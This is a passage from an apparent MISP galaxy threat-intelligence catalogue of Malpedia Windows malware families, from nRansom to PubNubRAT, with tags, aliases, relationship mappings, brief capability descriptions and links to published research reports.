https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor

nRansom

The tag is: *misp-galaxy:malpedia="nRansom"*

nRansom is also known as:

Table 1302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom
https://twitter.com/malwrhunterteam/status/910952333084971008
https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin
https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/

Nymaim

The tag is: *misp-galaxy:malpedia="Nymaim"*

Nymaim is also known as:

- nymain

Nymaim has relationships with:

- similar: misp-galaxy:tool="Nymaim" with estimative-language:likelihood-probability="likely"

Table 1303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim
https://www.cert.pl/en/news/single/nymaim-revisited/
https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/
https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf
https://bitbucket.org/daniel_plohmann/idapatchwork

Nymaim2

The tag is: *misp-galaxy:malpedia="Nymaim2"*

Nymaim2 is also known as:

Table 1304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/

OddJob

The tag is: *misp-galaxy:malpedia="OddJob"*

OddJob is also known as:

Table 1305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob

Odinaff

The tag is: *misp-galaxy:malpedia="Odinaff"*

Odinaff is also known as:

Odinaff has relationships with:

- similar: misp-galaxy:tool="Odinaff" with estimative-language:likelihood-probability="likely"

Table 1306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Olympic Destroyer

Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.

The tag is: *misp-galaxy:malpedia="Olympic Destroyer"*

Olympic Destroyer is also known as:

Olympic Destroyer has relationships with:

- similar: misp-galaxy:tool="Olympic Destroyer" with estimative-language:likelihood-probability="likely"

Table 1307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer
http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.lastline.com/labsblog/olympic-destroyer-south-korea/
https://securelist.com/the-devils-in-the-rich-header/84348/
https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/
https://securelist.com/olympic-destroyer-is-still-alive/86169/
http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html
https://www.lastline.com/labsblog/attribution-from-russia-with-code/
https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/

OneKeyLocker

The tag is: *misp-galaxy:malpedia="OneKeyLocker"*

OneKeyLocker is also known as:

Table 1308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onekeylocker
https://twitter.com/malwrhunterteam/status/1001461507513880576

ONHAT

The tag is: *misp-galaxy:malpedia="ONHAT"*

ONHAT is also known as:

Table 1309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview

OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

The tag is: *misp-galaxy:malpedia="OnionDuke"*

OnionDuke is also known as:

OnionDuke has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="OnionDuke - S0052" with estimative-language:likelihood-probability="likely"

Table 1310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html
https://www.f-secure.com/weblog/archives/00002764.html

OnlinerSpambot

A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.

The tag is: *misp-galaxy:malpedia="OnlinerSpambot"*

OnlinerSpambot is also known as:

- SBot
- Onliner

Table 1311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html

OopsIE

The tag is: *misp-galaxy:malpedia="OopsIE"*

OopsIE is also known as:

Table 1312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr

Opachki

The tag is: *misp-galaxy:malpedia="Opachki"*

Opachki is also known as:

Table 1313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki
http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html
http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html
https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519
https://forum.malekal.com/viewtopic.php?t=21806

OpGhoul

The tag is: *misp-galaxy:malpedia="OpGhoul"*

OpGhoul is also known as:

Table 1314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul

https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/

OpBlockBuster

The tag is: *misp-galaxy:malpedia="OpBlockBuster"*

OpBlockBuster is also known as:

Table 1315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/

OrcaRAT

OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.

The tag is: *misp-galaxy:malpedia="OrcaRAT"*

OrcaRAT is also known as:

Table 1316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html

Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: *misp-galaxy:malpedia="Orcus RAT"*

Orcus RAT is also known as:

Table 1317. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat
https://orcustechnologies.com/
https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/
http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/
https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors

Ordinypt

The tag is: *misp-galaxy:malpedia="Ordinypt"*

Ordinypt is also known as:

Ordinypt has relationships with:

- similar: misp-galaxy:tool="Ordinypt" with estimative-language:likelihood-probability="likely"

Table 1318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt
https://www.gdata.de/blog/2017/11/30151-ordinypt
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/

Overlay RAT

The tag is: *misp-galaxy:malpedia="Overlay RAT"*

Overlay RAT is also known as:

Table 1319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat
https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/
https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking

OvidiyStealer

The tag is: *misp-galaxy:malpedia="OvidiyStealer"*

OvidiyStealer is also known as:

Table 1320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer
https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses

owaauth

The tag is: *misp-galaxy:malpedia="owaauth"*

owaauth is also known as:

- luckyowa

Table 1321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/

PadCrypt

The tag is: *misp-galaxy:malpedia="PadCrypt"*

PadCrypt is also known as:

PadCrypt has relationships with:

- similar: misp-galaxy:ransomware="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 1322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt
https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://johannesbader.ch/2016/03/the-dga-of-padcrypt/

paladin

Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.

The tag is: *misp-galaxy:malpedia="paladin"*

paladin is also known as:

Table 1323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: *misp-galaxy:malpedia="PandaBanker"*

PandaBanker is also known as:

- ZeusPanda

Table 1324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker
https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker
https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers
https://www.proofpoint.com/tw/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media
https://www.arbornetworks.com/blog/asert/panda-bankers-future-dga/
https://www.spamhaus.org/news/article/771/
https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html
http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html
https://blogs.forcepoint.com/security-labs/zeus-panda-delivered-sundown-targets-uk-banks
https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.arbornetworks.com/blog/asert/let-pandas-zeus-zeus-zeus-zeus/

http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html
https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/

parasite_http

The tag is: *misp-galaxy:malpedia="parasite_http"*

parasite_http is also known as:

Table 1325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Penco

The tag is: *misp-galaxy:malpedia="Penco"*

Penco is also known as:

Table 1326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.penco

PetrWrap

The tag is: *misp-galaxy:malpedia="PetrWrap"*

PetrWrap is also known as:

Table 1327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

Petya

The tag is: *misp-galaxy:malpedia="Petya"*

Petya is also known as:

Petya has relationships with:

- similar: misp-galaxy:ransomware="Petya" with estimative-language:likelihood-probability="likely"

Table 1328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petya
https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/
https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/

pgift

Information gathering and downloading tool used to deliver second stage malware to the infected system

The tag is: *misp-galaxy:malpedia="pgift"*

pgift is also known as:

- ReRol

Table 1329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift
https://community.fireeye.com/external/1093

Philadephia Ransom

The tag is: *misp-galaxy:malpedia="Philadephia Ransom"*

Philadephia Ransom is also known as:

Table 1330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom
https://blogs.forcepoint.com/security-labs/shelf-ransomware-used-target-healthcare-sector
https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html
https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware
https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/

https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: *misp-galaxy:malpedia="Phorpiex"*

Phorpiex is also known as:

- Trik

Table 1331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex
https://www.johannesbader.ch/2016/02/phorpiex/
https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/
https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

pipcreat

The tag is: *misp-galaxy:malpedia="pipcreat"*

pipcreat is also known as:

Table 1332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat
https://www.snort.org/rule_docs/1-26941

pirpi

The tag is: *misp-galaxy:malpedia="pirpi"*

pirpi is also known as:

Table 1333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi

https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Pitou

The tag is: *misp-galaxy:malpedia="Pitou"*

Pitou is also known as:

Table 1334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou
https://www.tgsoft.it/english/news_archivio_eng.asp?id=884
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf

PittyTiger RAT

The tag is: *misp-galaxy:malpedia="PittyTiger RAT"*

PittyTiger RAT is also known as:

Table 1335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat
https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf

Pkybot

Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.

The tag is: *misp-galaxy:malpedia="Pkybot"*

Pkybot is also known as:

- Pykbot
- TBag
- Bublik

Table 1336. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot
http://blog.kleissner.org/?p=788
https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution
http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot

PLAINTEE

The tag is: *misp-galaxy:malpedia="PLAINTEE"*

PLAINTEE is also known as:

PLAINTEE has relationships with:

- similar: misp-galaxy:tool="PLAINTEE" with estimative-language:likelihood-probability="likely"

Table 1337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

playwork

The tag is: *misp-galaxy:malpedia="playwork"*

playwork is also known as:

Table 1338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork
https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html

PLEAD

The tag is: *misp-galaxy:malpedia="PLEAD"*

PLEAD is also known as:

- TSCookie

PLEAD has relationships with:

- similar: misp-galaxy:tool="TSCookie" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"

Table 1339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plead
http://www.freebuf.com/column/159865.html
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/

Plexor

The tag is: *misp-galaxy:malpedia="Plexor"*

Plexor is also known as:

Plexor has relationships with:

- similar: misp-galaxy:tool="Plexor" with estimative-language:likelihood-probability="likely"

Table 1340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plexor
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7

Ploutus ATM

The tag is: *misp-galaxy:malpedia="Ploutus ATM"*

Ploutus ATM is also known as:

Table 1341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm
https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html
http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html

ployx

The tag is: *misp-galaxy:malpedia="ployx"*

ployx is also known as:

Table 1342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx]

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: *misp-galaxy:malpedia="PlugX"*

PlugX is also known as:

- Korplug

PlugX has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"

Table 1343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx
https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf
http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html

http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html
http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf
https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/
https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/
https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/
https://www.lac.co.jp/lacwatch/people/20171218_001445.html
https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/
https://securelist.com/time-of-death-connected-medicine/84315/
https://community.rsa.com/thread/185439

pngdowner

The tag is: *misp-galaxy:malpedia="pngdowner"*

pngdowner is also known as:

pngdowner has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="pngdowner - S0067" with estimative-language:likelihood-probability="likely"

Table 1344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner
https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31

Poison Ivy

The tag is: *misp-galaxy:malpedia="Poison Ivy"*

Poison Ivy is also known as:

- pivy
- poisonivy

Poison Ivy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 1345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/
https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/
http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii
https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Polyglot

The tag is: *misp-galaxy:malpedia="Polyglot"*

Polyglot is also known as:

Polyglot has relationships with:

- similar: misp-galaxy:ransomware="Polyglot" with estimative-language:likelihood-probability="likely"

Table 1346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

Pony

The tag is: *misp-galaxy:malpedia="Pony"*

Pony is also known as:

- Siplog
- Fareit

Pony has relationships with:

- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"

Table 1347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pony
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf
https://www.uperesia.com/analysis-of-a-packed-pony-downloader
https://github.com/nyx0/Pony

PoohMilk Loader

The tag is: *misp-galaxy:malpedia="PoohMilk Loader"*

PoohMilk Loader is also known as:

Table 1348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

Popcorn Time

The tag is: *misp-galaxy:malpedia="Popcorn Time"*

Popcorn Time is also known as:

Table 1349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time
https://twitter.com/malwrhunterteam/status/806595092177965058

portless

The tag is: *misp-galaxy:malpedia="portless"*

portless is also known as:

Table 1350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portless
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf

poscardstealer

The tag is: *misp-galaxy:malpedia="poscardstealer"*

poscardstealer is also known as:

Table 1351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer
http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf

Poweliks Dropper

The tag is: *misp-galaxy:malpedia="Poweliks Dropper"*

Poweliks Dropper is also known as:

Table 1352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks_dropper
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users

PowerDuke

The tag is: *misp-galaxy:malpedia="PowerDuke"*

PowerDuke is also known as:

PowerDuke has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="PowerDuke - S0139" with estimative-language:likelihood-probability="likely"

Table 1353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

PowerPool

The tag is: *misp-galaxy:malpedia="PowerPool"*

PowerPool is also known as:

Table 1354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Powersniff

The tag is: *misp-galaxy:malpedia="Powersniff"*

Powersniff is also known as:

Table 1355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff
https://lokalhost.pl/gozi_tree.txt

PowerRatankba

The tag is: *misp-galaxy:malpedia="PowerRatankba"*

PowerRatankba is also known as:

PowerRatankba has relationships with:

- similar: misp-galaxy:tool="PowerRatankba" with estimative-language:likelihood-probability="likely"

Table 1356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba
https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/

https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

prb_backdoor

The tag is: *misp-galaxy:malpedia="prb_backdoor"*

prb_backdoor is also known as:

Table 1357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html

Prikorma

The tag is: *misp-galaxy:malpedia="Prikorma"*

Prikorma is also known as:

Table 1358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

Prilex

The tag is: *misp-galaxy:malpedia="Prilex"*

Prilex is also known as:

Table 1359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex
https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/
https://www.kaspersky.com/blog/chip-n-pin-cloning/21502

PrincessLocker

The tag is: *misp-galaxy:malpedia="PrincessLocker"*

PrincessLocker is also known as:

Table 1360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/

PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have be observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

The tag is: *misp-galaxy:malpedia="PsiX"*

PsiX is also known as:

Table 1361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.psix
https://twitter.com/mesa_matt/status/1035211747957923840

PC Surveillance System

Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.

The tag is: *misp-galaxy:malpedia="PC Surveillance System"*

PC Surveillance System is also known as:

- PSS

Table 1362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pss
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/

Pteranodon

The tag is: *misp-galaxy:malpedia="Pteranodon"*

Pteranodon is also known as:

Pteranodon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Pteranodon - S0147" with estimative-language:likelihood-probability="likely"

Table 1363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

PubNubRAT

The tag is: *misp-galaxy:malpedia="PubNubRAT"*

PubNubRAT is also known as:

Table 1364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat
